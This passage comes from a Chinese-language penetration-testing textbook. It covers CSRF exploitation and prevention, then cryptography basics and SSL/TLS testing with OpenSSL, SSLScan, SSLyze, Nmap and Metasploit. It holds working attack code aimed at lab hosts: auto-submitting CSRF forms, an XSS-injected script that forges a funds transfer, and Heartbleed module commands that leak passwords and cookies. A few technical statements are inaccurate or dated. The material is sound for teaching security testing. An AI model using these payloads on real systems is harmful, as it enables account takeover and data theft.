  • 将令牌作为 cookie 包含:浏览器会自动在请求中发送与访问的站点对应的 cookie,这将使本来安全的令牌实现变得无效。

  • 使用用户或客户端信息作为令牌:IP 地址、用户名或个人信息等信息可以用作令牌。这样做会不必要地暴露用户信息,并且可以通过社会工程学或有针对性的攻击中的开源情报(OSINT)收集此类信息。

  • 允许重复使用令牌:即使只允许短时间内重复使用令牌,仍然可以进行攻击。

  • 仅客户端检查:如果应用程序仅使用客户端代码验证用户是否实际执行某些操作,攻击者仍然可以使用 JavaScript 绕过这些检查,无论是通过 XSS 利用还是在攻击页面中,或者仅仅是重放最终请求。

利用 CSRF 漏洞

通过GET请求(参数在 URL 中发送)利用此漏洞就像说服用户浏览到执行所需操作的恶意链接一样简单。另一方面,要利用POST请求中的 CSRF 漏洞,需要创建一个包含表单或脚本的 HTML 页面来提交请求。

利用 POST 请求中的 CSRF 漏洞

在本节中,我们将重点介绍利用POST请求的漏洞。我们将使用 Peruggia 的用户创建功能进行练习。第一步是了解要复制的请求的工作原理;如果您以管理员身份登录 Peruggia 并在使用 Burp Suite 捕获流量时创建一个新用户,您会发现请求如下所示:

请求只包括newuser(用户名)和newuserpass(密码)参数。因此,一旦确定了进行更改的请求和参数,我们需要执行以下操作:

  1. 创建一个生成带有这些参数和要使用的信息的请求的 HTML 页面。

  2. 说服用户浏览到您的页面并提交请求。后者可能是不必要的,因为您可以让页面自动提交表单。

需要一个复杂的 HTML 页面来实现我们的目标。在这个例子中,易受攻击的服务器是10.7.7.5

<HTML> 
  <body> 
    <form method="POST" action="http://10.7.7.5/peruggia/index.php?action=account&adduser=1"> 
      <input type="text" value="CSRFuser" name="newuser"> 
      <input type="text" value="password123!" name="newuserpass"> 
      <input type="submit" value="Submit"> 
    </form> 
  </body> 
</HTML> 

生成的页面将如下屏幕截图所示。底部部分是 Firefox 开发者工具面板,可以使用F12键激活:

在常规渗透测试中,这可能作为概念验证PoC)有效,并足以证明存在漏洞。更复杂的版本可以包含欺骗性内容和脚本代码,以在页面加载后自动提交请求:

<HTML> 
  <BODY> 
    ... 
    <!-- include attractive HTML content here --> 
    ... 
    <FORM id="csrf" method="POST" action="http://10.7.7.5/peruggia/index.php?action=account&adduser=1"> 
      <input type="text" value="CSRFuser" name="newuser"> 
      <input type="text" value="password123!" name="newuserpass"> 
      <input type="submit" value="Submit"> 
    </FORM> 
    <SCRIPT>document.getElementById("csrf").submit();</SCRIPT> 
  </BODY> 
</HTML> 

要测试此 PoC 页面,请打开 Peruggia 并使用admin用户(密码:admin)启动会话,并在同一浏览器的不同标签页或窗口中加载攻击页面:

接下来,点击提交按钮或者如果使用脚本版本,则只需加载页面,服务器将处理该请求,就好像它是由经过身份验证的用户发送的一样。使用浏览器的开发者工具,您可以检查请求是否已发送到目标服务器并得到正确处理。

Web 服务上的 CSRF

如今的 Web 应用程序通常使用对 Web 服务的调用来执行任务,而不是使用普通的 HTML 表单。这些请求通过 JavaScript 使用 XMLHttpRequest 对象完成,该对象允许开发人员创建 HTTP 请求并自定义方法、头部和主体等参数。

Web 服务通常接收与标准 HTML 表单不同格式的请求(例如,parameter1=value1&parameter2=value2),例如 JSON 和 XML。以下示例代码片段以 JSON 格式发送地址更新请求:

var xhr = new XMLHttpRequest(); 
xhr.open('POST', '/UpdateAddress'); 
xhr.setRequestHeader('Content-Type', 'application/json'); 
xhr.onreadystatechange = function () { 
  if (xhr.readyState == 4 && xhr.status == 200) { 
    alert(xhr.responseText); 
  } 
} 
xhr.send(JSON.stringify(addressData)); 

此请求的主体(即POST数据)可能如下所示:

{"street_1":"First street","street_2":"apartment 2","zip":54123,"city":"Sin City"} 

如果您尝试将此精确字符串作为 HTML 表单中的POST参数发送,服务器将出现错误,并且您的请求将无法处理。例如,提交以下表单将无法正确处理参数:

<HTML> 
  <BODY> 
    <FORM method="POST" action="http://vulnerable.server/UpdateAddress"> 
      <INPUT type="text" name='{
                           "street_1":"First street",
                           "street_2":"apartment 2",
                           "zip":54123,"city":"Sin City"}' value=""> 
      <INPUT type="submit" value="Submit"> 
    </FORM> 
  </BODY> 
</HTML> 

有几种方法可以利用 CSRF 对使用 JSON 或 XML 格式的请求进行攻击。

通常,Web 服务允许以不同格式传递参数,包括 HTML 表单格式;因此,您的第一个选择是将请求的Content-Type头更改为application/x-www-form-urlencoded。只需通过 HTML 表单发送请求即可实现此目的。但是,您不需要尝试发送 JSON 字符串;相反,您可以创建一个包含字符串中每个参数的输入的表单。在我们的示例中,HTML 代码的简单版本如下所示:

<HTML> 
  <BODY> 
    <FORM method="POST" action="http://vulnerable.server/UpdateAddress"> 
      <INPUT type="text" name="street_1" value="First street"> 
      <INPUT type="text" name="street_2" value="apartment 2"> 
      <INPUT type="text" name="zip" value="54123"> 
      <INPUT type="text" name="city" value="Sin City"> 
      <INPUT type="submit" name="submit" value="Submit form"> 
    </FORM> 
  </BODY> 
</HTML> 

如果请求的Content-Type头不被允许,而 Web 服务只接受 JSON 或 XML 格式,则需要复制(或创建)生成请求的脚本代码,按照相同的示例进行操作:

<HTML> 
  <BODY> 
    <SCRIPT> 
      function send_request() 
      { 
        var xhr = new XMLHttpRequest(); 
        xhr.open('POST', 'http://vulnerable.server/UpdateAddress'); 
        xhr.setRequestHeader('Content-Type', 'application/json'); 
        xhr.withCredentials=true; 
        xhr.send('{"street_1":"First street",
                  "street_2":"apartment 2","zip":54123,
                  "city":"Sin City"}'); 
      } 
    </SCRIPT> 
    <INPUT type="button" onclick="send_request()" value="Submit">  
  </BODY> 
</HTML> 

请注意使用了xhr.withCredentials=true;。这允许 JavaScript 获取浏览器中存储的目标域的 cookie,并将其与请求一起发送。此外,省略了状态更改事件处理程序,因为您不需要捕获响应。

这种最后的选择有几个缺点,因为当前浏览器和服务器在跨站操作方面对 JavaScript 的行为有限制。例如,根据服务器的跨域资源共享CORS)配置,应用程序可能需要在发送跨站请求之前执行预检查。这意味着浏览器将自动发送一个OPTIONS请求,以检查该服务器允许的方法。如果请求的方法不允许进行跨域请求,浏览器将不会发送它。另一个保护的例子是浏览器中的同源策略,默认情况下,它使浏览器保护服务器的资源免受其他网站的脚本代码访问。

使用跨站脚本(XSS)绕过 CSRF 保护

当应用程序容易受到跨站脚本XSS)攻击时,攻击者可以利用该漏洞(通过脚本代码)读取包含唯一令牌的变量,并将其发送到外部站点并在新标签中打开恶意页面,或者使用相同的脚本代码发送请求,同时绕过 CORS 和同源策略,因为请求将由同一站点通过本地脚本进行。

让我们看看使用脚本代码使应用程序执行自身请求的情况。您将使用 WebGoat 的CSRF Token By-Pass(跨站脚本(XSS)| CSRF Token By-Pass)练习。根据说明,您需要滥用新闻组中的新帖子功能允许注入 HTML 和 JavaScript 代码,以执行未经授权的转账请求。

以下屏幕截图显示了转账页面,您可以通过将&transferFunds=main参数添加到课程的 URL 中来加载它:

如果您检查表单的源代码,您会看到它有一个名为CSRFToken的隐藏字段,每次加载页面时都会更改。这似乎是完全随机的:

为了在这个表单中执行 CSRF 攻击,您需要利用评论表单中的 XSS 漏洞,使用 JavaScript 将转账表单加载到一个iframe标签中。这将设置值为 transfer 并自动提交表单。要做到这一点,请使用以下代码:

<script language="javascript"> 
  function frame_loaded(iframe) 
  { 
    var form =iframe.contentDocument.getElementsByTagName('Form')[1]; 
    form.transferFunds.value="54321"; 
    //form.submit(); 
  } 
</script> 

<iframe id="myframe" name="myframe" onload="frame_loaded(this)" 
  src="img/attack?Screen=2&menu=900&transferFunds=main"> 
</iframe> 

因此,当 iframe 中包含的页面完全加载完成时,它将调用frame_loaded函数,该函数将transferFunds字段的值设置为54321(要转移的金额)并提交请求。请注意,form.submit();行被注释掉了。这仅用于演示目的,以防止自动提交。

现在浏览到易受攻击的页面:

http://10.7.7.5/WebGoat/attack?Screen=2&menu=900

为您的帖子设置一个标题,在消息字段中编写或粘贴您的代码,然后提交它。

完成后,您将在页面底部看到您的消息标题,就在提交按钮下方。如果您像受害者一样点击它,您可以看到它如何加载在代码中设置的要转移的金额:

要测试自动提交,请发布一条新消息,删除form.submit();行上的注释。打开消息的结果将类似于以下屏幕截图:

下一个屏幕截图来自 Burp Suite 的代理历史记录,显示了浏览器在前面的示例中如何发出请求。首先显示的是加载带有注入代码的消息的请求,在我们的例子中是消息 66(参数Num=66)。接下来,恶意消息加载了包含资金转移页面的 iframe(参数transferFunds=main)。最后,根据代码,当此页面完成加载脚本代码时,它填写要转移的金额并使用有效的 CSRF 令牌提交请求:

预防 CSRF 攻击

预防 CSRF 攻击的关键是确保经过身份验证的用户是请求操作的人。由于浏览器和 Web 应用程序的工作方式,最好的选择是使用令牌来验证操作,或者在可能的情况下使用验证码控件。

当易受攻击的参数通过GET方法传递时,执行 CSRF 攻击更容易。因此,首先避免使用它,并在可能的情况下使用POST方法。这并不能完全消除攻击,但可以增加攻击者的难度。

由于攻击者将尝试破解令牌生成或验证系统,因此安全地生成它们非常重要;也就是说,攻击者无法猜测它们。您还必须使它们对每个用户和每个操作都是唯一的,因为重用它们会使它们失去作用。这些令牌通常包含在每个请求的标头字段中,或者包含在 HTML 表单的隐藏输入中。避免将它们包含在 cookie 中,因为它们会随着每个请求在每个域的基础上由浏览器自动发送。

CAPTCHA 控件和重新认证在某些情况下对用户来说是侵入性和烦人的,但如果操作的重要性值得,他们可能愿意接受它们,以换取额外的安全级别。

此外,应该在服务器上配置 CORS 策略,因为它们可以防止通过 Web 浏览器的脚本代码进行的一些攻击。如果加载在该窗口中的 URL 不属于同一源(例如主机、端口或协议),CORS 策略将阻止在不同标签或浏览器窗口中运行的 JavaScript 访问数据/资源。

有关防止 CSRF 的更多信息,请访问www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

总结

在本章中,您了解了 CSRF 以及它如何滥用服务器和 Web 浏览器之间的信任关系。您了解了如何检测可能存在漏洞的应用程序,审查了一种利用过程,并通过一个示例进行了实践,分析了它在 Web 服务中的工作原理。您还了解了一种绕过令牌保护、CORS 和同源策略的方法,结合 XSS 漏洞使用。

与之前的章节一样,本章的最后一节是关于防御的。我们审查了在您自己的应用程序或客户的应用程序中预防或减轻 CSRF 漏洞的推荐方法。

下一章将简要介绍密码学,重点介绍渗透测试人员需要了解的基础知识,例如区分加密、哈希和编码,识别弱密码实现并利用常见漏洞。

第八章:攻击密码实现中的缺陷

信息安全的主要目标之一是保护数据的机密性。在 Web 应用程序中,目标是确保用户和应用程序之间交换的数据是安全的,并且对任何第三方隐藏。当存储在服务器上时,数据还需要免受黑客的攻击。密码学是通过和解密秘密书写或消息来保护数据的机密性和完整性的实践。

当前标准的密码算法由高度专业的数学家和计算机科学家组成的团队进行了设计、测试和修正。深入研究他们的工作超出了本书的范围;寻找这些算法固有的漏洞也不是本书的目标。相反,我们将重点关注这些算法的某些实现以及如何检测和利用实现失败,包括那些没有经过相同设计和测试水平的自定义实现。

攻击者将尝试找到不同的方法来破解加密层并暴露明文数据。他们使用不同的技术,例如利用加密协议中的设计缺陷或诱使用户通过非加密通道发送数据,绕过加密本身。作为渗透测试人员,您需要了解这些技术,并能够识别缺乏加密或有缺陷的实现,利用这些缺陷,并提出修复问题的建议。

在本章中,我们将分析密码学在 Web 应用程序中的工作原理,并探讨其实现中常见的一些问题。

密码学入门

首先,我们需要在谈论密码学时明确区分常常混淆的概念:加密、编码、混淆和哈希:

  • 加密:这是通过数学算法来改变数据以使其对未经授权的方​​式不可理解的过程。授权方可以使用密钥将消息解密回明文。AES、DES、Blowfish 和 RSA 是众所周知的加密算法。

  • 编码:这也改变了消息,但其主要目标是允许该消息被不同的系统处理。它不需要密钥,并且不被视为保护信息的正确方式。Base64 编码通常用于现代 Web 应用程序,以通过 HTTP 传输二进制数据。

  • 混淆:这使原始消息更难阅读,通过转换消息来实现。JavaScript 代码混淆用于防止调试和/或保护知识产权,其最常见的用途是在 Web 应用程序中。它不被视为保护信息免受第三方侵害的方式。

  • 哈希:哈希函数是计算消息内容的固定长度唯一数字。相同的消息必须始终产生相同的哈希值,而且没有两个消息可以共享哈希值。哈希函数在理论上是不可逆的,这意味着您无法从其哈希中恢复消息。由于这个限制,它们用作签名和完整性检查非常有用,但不能用于存储需要在某个时候恢复的信息。哈希函数也广泛用于存储密码。常见的哈希函数有 MD5、SHA1、SHA-512 和 bcrypt。

算法和模式

密码算法或密码是通过一些计算将明文转换为密文的算法。这些算法可以广泛分为以下两种方式:

  • 根据它们使用的公钥和私钥或共享密钥,它们可以是非对称对称的。

  • 根据它们处理原始消息的方式,它们可以是流密码块密码

非对称加密与对称加密

非对称加密使用公私钥的组合,比对称加密更安全。公钥与所有人共享,私钥单独存储。使用一个密钥加密的加密数据只能使用另一个密钥解密,这使得它在更大范围内实施非常安全和高效。

另一方面,对称加密使用相同的密钥对数据进行加密和解密,您需要找到一种安全的方法与其他方共享对称密钥。

经常被问到的一个问题是为什么不使用公私钥对来加密数据流,而是生成一个使用对称加密的会话密钥。公私钥的组合是通过复杂的数学过程生成的,这是一个处理器密集型和耗时的任务。因此,它仅用于验证端点并生成和保护会话密钥,然后在对称加密中使用该会话密钥对大量数据进行加密。这两种加密技术的组合结果是更快速和更高效的数据加密。

以下是非对称加密算法的例子:

  • Diffie-Hellman 密钥交换:这是 1976 年开发的第一个非对称加密算法,它在有限域中使用离散对数。它允许两个端点在不了解对方的情况下,在不安全的介质上交换秘密密钥。

  • Rivest Shamir Adleman(RSA):这是最广泛使用的非对称算法。RSA 算法用于加密数据和签名,提供机密性和不可否认性。该算法使用一系列模乘法来加密数据。

  • 椭圆曲线密码学(ECC):这主要用于手持设备,如智能手机,因为它在加密和解密过程中需要较少的计算能力。ECC 功能类似于 RSA 功能。

对称加密算法

对称加密中,使用共享密钥生成加密密钥。然后使用相同的密钥对数据进行加密和解密。这种加密数据的方式在各种形式中已经被使用了很长时间。它提供了一种简单的加密和解密数据的方法,因为密钥是相同的。对称加密简单且易于实现,但是它需要以安全的方式与用户共享密钥。

一些对称算法的例子如下:

  • 数据加密标准(DES):该算法使用 DEA 密码。DEA 是一种分组密码,使用 64 位密钥大小;其中 8 位用于错误检测,56 位用于实际密钥。考虑到今天计算机的计算能力,这种加密算法很容易被破解。

  • 三重 DES(3DES):该算法将 DES 算法应用于每个分组三次。它使用三个 56 位密钥。

  • 高级加密标准(AES):该标准首次发布于 1998 年,被认为比其他对称加密算法更安全。AES 使用了由两位比利时密码学家 Joan Daemen 和 Vincent Rijmen 开发的 Rijndael 密码。它取代了 DES 算法。它可以配置为使用可变的密钥大小,最小为 128 位,最大为 256 位。

  • Rivest Cipher 4 (RC4): RC4 是一种广泛使用的流密码,其密钥大小可变,范围从 40 到 2048 位。RC4 存在一些设计缺陷,使其容易受到攻击,尽管这些攻击可能不实际且需要大量的计算能力。RC4 在 SSL/TLS 协议中被广泛使用。然而,许多组织已经开始使用 AES 代替 RC4。

流密码和分组密码

对称算法分为两个主要类别:

  • 流密码:该算法一次加密一个比特,因此需要更多的处理能力。它还需要大量的随机性,因为每个比特都要用唯一的密钥流进行加密。流密码更适合在硬件层实现,并用于加密流式通信,如音频和视频,因为它可以快速加密和解密每个比特。使用这种算法产生的密文与原始明文的大小相同。

  • 块密码:使用这种算法,原始消息被分成固定长度的块,并在最后一个块中填充(扩展到满足所需的长度)。然后,根据所使用的模式,独立处理每个块。我们将在后续章节中进一步讨论密码模式。块密码产生的密文大小始终是块大小的倍数。

初始化向量

加密算法是确定性的。这意味着相同的输入将始终产生相同的输出。这是一件好事,因为在解密时,您希望能够恢复与加密的完全相同的消息。不幸的是,这使得加密变得更弱,因为它容易受到密码分析和已知明文攻击的攻击。

为了解决这个问题,实现了初始化向量IVs)。IV 是每次执行算法时都不同的额外信息。它用于生成加密密钥或预处理明文,通常通过异或操作进行。这样,如果两条消息使用相同的算法和相同的密钥加密,但使用不同的 IV,得到的密文将不同。IV 附加在密文上,因为接收者事先无法知道它们。

黄金法则,特别是对于流密码,永远不要重复使用 IV。无线网络中的Wired Equivalent PrivacyWEP)身份验证的 RC4 实现使用一个 24 位(3 字节)的 IV,允许在短时间内重复使用密钥流。通过多次使用相同 IV 发送已知文本(例如 DHCP 请求)通过网络,攻击者可以恢复密钥流,并且可以使用多个密钥流/IV 对来恢复共享密钥。

块密码模式

操作模式是加密算法如何使用 IV 以及如何实现对每个明文块的加密。接下来,我们将讨论最常见的操作模式:

  • 电子密码本(ECB):在这种操作模式下,没有使用 IV,每个块都是独立加密的。因此,包含相同信息的块导致相同的密文,这使得分析和攻击更容易。

  • 密码块链接(CBC):使用 CBC 模式,块按顺序加密;一个 IV 应用于第一个块,每个块的结果密文用作下一个块的 IV。CBC 模式密码可能容易受到填充预言攻击的影响,其中对最后一个块的填充可能被用来恢复密钥流,前提是攻击者能够恢复大量加密包并且有一种方法可以知道一个包是否具有正确的填充(预言)。

  • 计数器(CTR):如果正确实现,这可能是最方便和安全的方法。使用相同的 IV 加上每个块不同的计数器,独立加密块。这使得该模式能够并行处理消息的所有块,并且每个块都有不同的密文,即使明文相同。

哈希函数

哈希函数通常用于确保传输的消息的完整性,并作为确定两个信息是否相同的标识符。哈希函数生成一个表示实际数据的固定长度值(哈希)。

哈希函数适用于这些任务,因为根据定义,没有两个不同的信息片段应该具有相同的哈希结果(碰撞),并且原始信息不应该仅通过哈希来恢复(即,哈希函数不可逆)。

以下是一些最常见的哈希函数:

  • MD5(消息摘要 5)

  • SHA(安全散列算法)版本 1 和 2

  • NT 和 NTLM 是 Microsoft Windows 用于存储密码的基于 MD4 的方法

盐值

当用于存储密码等秘密信息时,哈希容易受到字典和暴力攻击的攻击。攻击者捕获一组密码哈希值后,可以尝试使用已知常见密码的字典对其进行哈希,并将结果与捕获的哈希进行比较,以寻找匹配并发现明文密码。一旦找到哈希-密码对,所有使用相同密码的其他用户或账户也会被发现,因为所有哈希值都是相同的。

通过附加一个随机值到要进行哈希的信息上,并导致使用不同的盐对相同数据进行哈希得到不同的哈希值,盐值用于使这个任务更加困难。在我们之前的假设情况中,恢复一个哈希的明文的攻击者不会自动恢复所有其他相同密码的实例。

与初始化向量(IV)一样,盐值也会与哈希一起存储和发送。

通过 SSL/TLS 进行安全通信

安全套接字层SSL)是一种设计用于保护网络通信的加密协议。Netscape 于 1994 年开发了 SSL 协议。1999 年,互联网工程任务组IETF)发布了传输层安全TLS)协议,取代了 SSL 协议的第 3 版。由于多年来发现了多个漏洞,SSL 现在被认为是不安全的。POODLE 和 BEAST 漏洞在 SSL 协议本身中暴露了缺陷,因此无法通过软件补丁修复。IETF 宣布 SSL 已被弃用,并建议升级到 TLS 作为安全通信的协议。TLS 的最新版本是 1.2。我们始终建议您使用最新版本的 TLS,并避免允许使用旧版本或 SSL 协议的客户端连接。

大多数网站已经迁移到并开始使用 TLS 协议,但加密通信仍然通常被称为 SSL 连接。SSL/TLS 不仅提供机密性,还有助于维护数据的完整性和实现不可否认性。

保护客户端和 Web 应用程序之间的通信是 TLS/SSL 的最常见用途,也被称为HTTPS。TLS 还用于以下方式中其他协议使用的通信通道的安全保护:

  • 它被邮件服务器用于加密两个邮件服务器之间以及客户端和邮件服务器之间的电子邮件

  • TLS 用于保护数据库服务器和 LDAP 认证服务器之间的通信

  • 它被用于加密称为SSL VPN虚拟专用网络VPN)连接

  • Windows 操作系统中的远程桌面服务使用 TLS 对连接到服务器的客户端进行加密和认证

TLS 被用于保护两方之间的通信的几个其他应用和实现。在接下来的章节中,我们将把 HTTPS 使用的协议称为 TLS,并在只适用于 SSL 或 TLS 的情况下进行说明。

Web 应用程序中的安全通信

TLS 使用公钥-私钥加密机制来加密数据,从而保护其免受第三方监听通信的影响。在网络上嗅探数据只会显示加密的信息,没有对应密钥的访问是无用的。

TLS 协议旨在保护 CIA 三要素(机密性、完整性和可用性):

  • 机密性:保持数据的隐私和保密性

  • 完整性:保持数据的准确性和一致性,并确保在传输过程中未被更改

  • 可用性:防止数据丢失并保持对数据的访问

Web 服务器管理员实施 TLS 以确保在 Web 服务器和客户端之间共享的敏感用户信息是安全的。除了保护数据的机密性外,TLS 还使用 TLS 证书和数字签名提供不可否认性。这提供了确保消息确实由声称发送它的一方发送的保证。这类似于我们日常生活中签名的工作方式。这些证书由独立的第三方机构,即证书颁发机构CA)签署、验证和颁发。以下是一些知名的证书颁发机构:

  • VeriSign

  • Thawte

  • Comodo

  • DigiCert

  • Entrust

  • GlobalSign

如果攻击者试图伪造证书,浏览器将显示警告消息,通知用户正在使用无效证书加密数据。

通过使用哈希算法计算消息摘要来实现数据完整性,该摘要附加到消息上并在另一端进行验证。

TLS 加密过程

加密是一个多步骤的过程,但对于最终用户来说是一个无缝的体验。整个过程可以分为两个部分:第一部分使用非对称加密技术进行加密,第二部分使用对称加密过程进行加密。以下是使用 SSL 加密和传输数据的主要步骤的描述:

  1. 客户端和服务器之间的握手是初始步骤,客户端在其中呈现 SSL/TLS 版本号和支持的加密算法。

  2. 服务器通过识别其支持的 SSL 版本和加密算法来响应,并且双方就最高的共同值达成一致。服务器还会响应 SSL 证书。该证书包含服务器的公钥和有关服务器的一般信息。

  3. 然后,客户端通过将证书与存储在本地计算机上的根证书列表进行验证来对服务器进行身份验证。客户端与证书颁发机构(CA)检查,以确保颁发给网站的签名证书存储在受信任的 CA 列表中。在 Internet Explorer 中,可以通过导航到“工具”|“Internet 选项”|“内容”|“证书”|“受信任的根证书颁发机构”来查看受信任的 CA 列表,如下图所示:

  1. 使用握手期间共享的信息,客户端可以为会话生成一个预主密钥。然后,它使用服务器的公钥加密该密钥,并将加密的预主密钥发送回服务器。

  2. 服务器使用私钥解密预主密钥(因为它是使用公钥加密的)。然后,服务器和客户端使用一系列步骤从预主密钥生成会话密钥。该会话密钥在整个会话期间加密数据,这称为对称加密。还计算并附加到消息的哈希有助于测试消息的完整性。

识别 SSL/TLS 的弱实现

正如您在前一节中学到的,TLS 是将各种加密算法打包成一个以提供机密性、完整性和身份验证的组合。在第一步中,当两个端点协商 SSL 连接时,它们识别出它们支持的公共密码套件。这使得 SSL 能够支持各种各样的设备,这些设备可能没有硬件和软件来支持较新的密码。支持旧的加密算法有一个主要缺点。大多数旧的密码套件在今天可用的计算能力下,很容易在合理的时间内被密码分析师破解。

OpenSSL 命令行工具

为了识别远程 Web 服务器协商的密码套件,您可以使用预安装在所有主要 Linux 发行版上的 OpenSSL 命令行工具,它也包含在 Kali Linux 中。该工具可以在 bash shell 中直接测试 OpenSSL 库的各种功能,而无需编写任何代码。它也被用作故障排除工具。

OpenSSL 是一个在 Linux 中使用的著名库,用于实现 SSL 协议,而Secure channelSchannel)是 Windows 中提供 SSL 功能的提供程序。

以下示例使用s_client命令行选项,使用 SSL/TLS 与远程服务器建立连接。该命令的输出对于新手来说很难解释,但对于识别服务器和客户端之间达成的 TLS/SSL 版本和密码套件是有用的:

OpenSSL 工具包含各种命令行选项,可用于使用特定的 SSL 版本和密码套件测试服务器。在以下示例中,我们尝试使用 TLS 版本 1.2 和弱算法 RC4 进行连接:

openssl s_client -tls1_2 -cipher 'ECDHE-RSA-AES256-SHA' -connect <target>:<port>  

以下屏幕截图显示了命令的输出。由于客户端无法与ECDHE-RSA-AES256-SHA密码套件协商,握手失败,没有选择密码套件:

在以下屏幕截图中,我们尝试与服务器协商使用弱加密算法。由于谷歌正确地在服务器上禁用了弱密码套件,因此失败了:

要找出使用今天可用的计算能力很容易破解的密码套件,请输入以下屏幕截图中显示的命令:

您经常会看到密码套件写成ECDHE-RSA-RC4-MD5。格式分解为以下部分:

  • ECDHE:这是一种密钥交换算法

  • RSA:这是一种身份验证算法

  • RC4:这是一种加密算法

  • MD5:这是一种哈希算法

可以在www.openssl.org/docs/apps/ciphers.html找到 SSL 和 TLS 密码套件的全面列表。

SSLScan

尽管 OpenSSL 命令行工具提供了许多选项来测试 SSL 配置,但该工具的输出对用户来说并不友好。该工具还需要对您要测试的密码套件有相当多的了解。

Kali Linux 带有许多工具,可以自动化识别 SSL 配置错误、过时的协议版本以及弱密码套件和哈希算法。其中一个工具是SSLScan,可以通过转到应用程序 | 信息收集 | SSL 分析来访问。

默认情况下,SSLScan 会检查服务器是否容易受到 CRIME 和 Heartbleed 漏洞的攻击。-tls选项将强制 SSLScan 仅使用 TLS 协议测试密码套件。输出以各种颜色分布,绿色表示密码套件是安全的,红色和黄色的部分试图吸引您的注意:

通过运行以下命令可以识别客户端支持的密码套件。它将显示客户端支持的一长串密码套件:

sslscan -show-ciphers www.example.com:443  

如果要分析与证书相关的数据,请使用以下命令显示证书的详细信息:

sslscan --show-certificate --no-ciphersuites www.amazon.com:443  

可以使用-xml=<filename>选项将命令的输出导出为 XML 文档。

当在支持的密码名称中指出NULL时要小心。如果选择了NULL密码,SSL/TLS 握手将完成,浏览器将显示安全的挂锁,但 HTTP 数据将以明文形式传输。

SSLyze

Kali Linux 还提供了另一个有用的工具,即 iSEC Partners 发布的 SSL 配置分析工具 SSLyze。该工具托管在 GitHub 上,网址为github.com/iSECPartners/sslyze,在 Kali Linux 中可以在 Applications | Information Gathering | SSL Analysis 中找到。SSLyze 是用 Python 编写的。

该工具配备了各种插件,可用于测试以下内容:

  • 检查旧版本的 SSL

  • 分析密码套件并识别弱密码

  • 使用输入文件扫描多个服务器

  • 检查会话恢复支持

使用-regular选项可以包括您可能感兴趣的所有常见选项,例如测试所有可用的协议(SSL 版本 2 和 3 以及 TLS 1.0、1.1 和 1.2)、测试不安全的密码套件以及识别是否启用了压缩。

在以下示例中,服务器不支持压缩,并且易受 Heartbleed 漏洞攻击。输出还列出了接受的密码套件。

使用 Nmap 测试 SSL 配置

Nmap 包含一个名为ssl-enum-ciphers的脚本,可以识别服务器支持的密码套件,并根据其加密强度对其进行评级。它使用 SSLv3、TLS 1.1 和 TLS 1.2 进行多次连接。还有一些脚本可以识别已知的漏洞,如 Heartbleed 或 POODLE。

我们将使用三个脚本(ssl-enum-ciphersssl-heartbleedssl-poodle)对目标(bee-box v1.6,sourceforge.net/projects/bwapp/files/bee-box/)进行 Nmap 扫描,以列出服务器允许的所有密码并测试这些特定的漏洞:

第一张截图显示了ssl-enum-ciphers的结果,显示了 SSLv3 允许的密码。下一张截图中,ssl-heartbleed脚本显示服务器存在漏洞:

此外,ssl-poodle脚本将服务器标识为易受 POODLE 攻击的脆弱目标:

利用 Heartbleed 漏洞

Heartbleed 漏洞于 2014 年 4 月被发现。它是 OpenSSL TLS 实现中的缓冲区超读情况,即可以从内存中读取比允许的更多的数据。这种情况允许攻击者以明文形式从 OpenSSL 服务器的内存中读取信息。这意味着无需解密或拦截客户端和服务器之间的任何通信,您只需向服务器询问其内存中的内容,它将以未加密的信息回答。

实际上,Heartbleed 漏洞可以在任何未修补的支持 TLS 的 OpenSSL 服务器上利用(版本 1.0.1 至 1.0.1f 和 1.0.2-beta 至 1.0.2-beta1),通过利用可以以明文形式从服务器的内存中读取最多 64 KB 的数据。这可以重复进行,而且在服务器中不会留下任何痕迹或日志。这意味着攻击者可能能够从服务器中读取明文信息,例如服务器的私钥或加密证书、会话 cookie 或可能包含用户密码和其他敏感信息的 HTTPS 请求。有关 Heartbleed 的更多信息,请参阅其维基百科页面en.wikipedia.org/wiki/Heartbleed

我们将使用 Metasploit 模块来利用 bee-box 中的 Heartbleed 漏洞。首先,您需要打开 Metasploit 控制台并加载该模块:

msfconsole
use auxiliary/scanner/ssl/openssl_heartbleed

使用show options命令,您可以查看模块运行所需的参数。

让我们设置要攻击的主机和端口,并运行该模块。请注意,该模块可以通过在RHOSTS选项中输入一个以空格分隔的 IP 地址和主机名列表来同时运行多个主机:

show options 
set RHOSTS 10.7.7.8 
set RPORT 8443 
run

下面执行的脚本显示服务器存在漏洞:

然而,在这里没有提取到相关信息。出了什么问题?

实际上,该模块从服务器的内存中提取了信息,但还有更多的选项可以设置。您可以使用show advanced命令来显示 Metasploit 模块的高级选项。要查看获取的信息,请将VERBOSE选项设置为true并再次运行它:

set VERBOSE true
run

现在我们已经获取了一些信息:

如果您分析结果,您会发现在这种情况下,服务器在内存中有一个密码更改请求,并且您可以看到先前和当前的密码以及用户的会话 cookie。

POODLE

Padding Oracle On Downgraded Legacy EncryptionPOODLE),顾名思义,是一种利用从 TLS 到 SSLv3 的降级过程的填充预言攻击。

填充预言攻击需要存在一个预言,也就是一种识别数据包填充是否正确的方法。这可能只是服务器返回的一个填充错误响应。当攻击者改变有效消息的最后一个字节时,服务器会返回一个错误。当消息被改变且没有导致错误时,填充被接受为该字节的值。通过 IV,这可以揭示一个字节的密钥流,并且通过这个密钥流可以解密加密文本。需要记住的是,IV 需要与数据包一起发送,以便接收者知道如何解密信息。这与盲注攻击非常相似。

为了实现这一点,攻击者需要在客户端和服务器之间实现中间人位置,并且需要一种机制来使客户端发送恶意探测。可以通过让客户端打开包含执行此工作的 JavaScript 代码的页面来实现这个最后的要求。

Kali Linux 没有包含一个开箱即用的工具来利用 POODLE,但是 GitHub 上有一个名为 Thomas Patzke 的概念验证PoC)可以实现这一点:github.com/thomaspatzke/POODLEAttack。读者可以自行测试这个 PoC 作为练习。

在 Web 应用程序渗透测试期间,通常只需要查看 SSLScan、SSLyze 或 Nmap 的输出,就可以知道是否允许使用 SSLv3,从而确定服务器是否容易受到 POODLE 攻击;此外,不需要进行更多的测试来证明这一事实或者说服客户禁用一个已经过时近 20 年并且最近被宣布为废弃的协议。

尽管 POODLE 对于像 TLS 这样的加密协议来说是一个严重的漏洞,但在实际场景中执行它的复杂性使得攻击者更有可能使用诸如 SSL Stripping(www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)之类的技术来迫使受害者浏览未加密的协议。

自定义加密协议

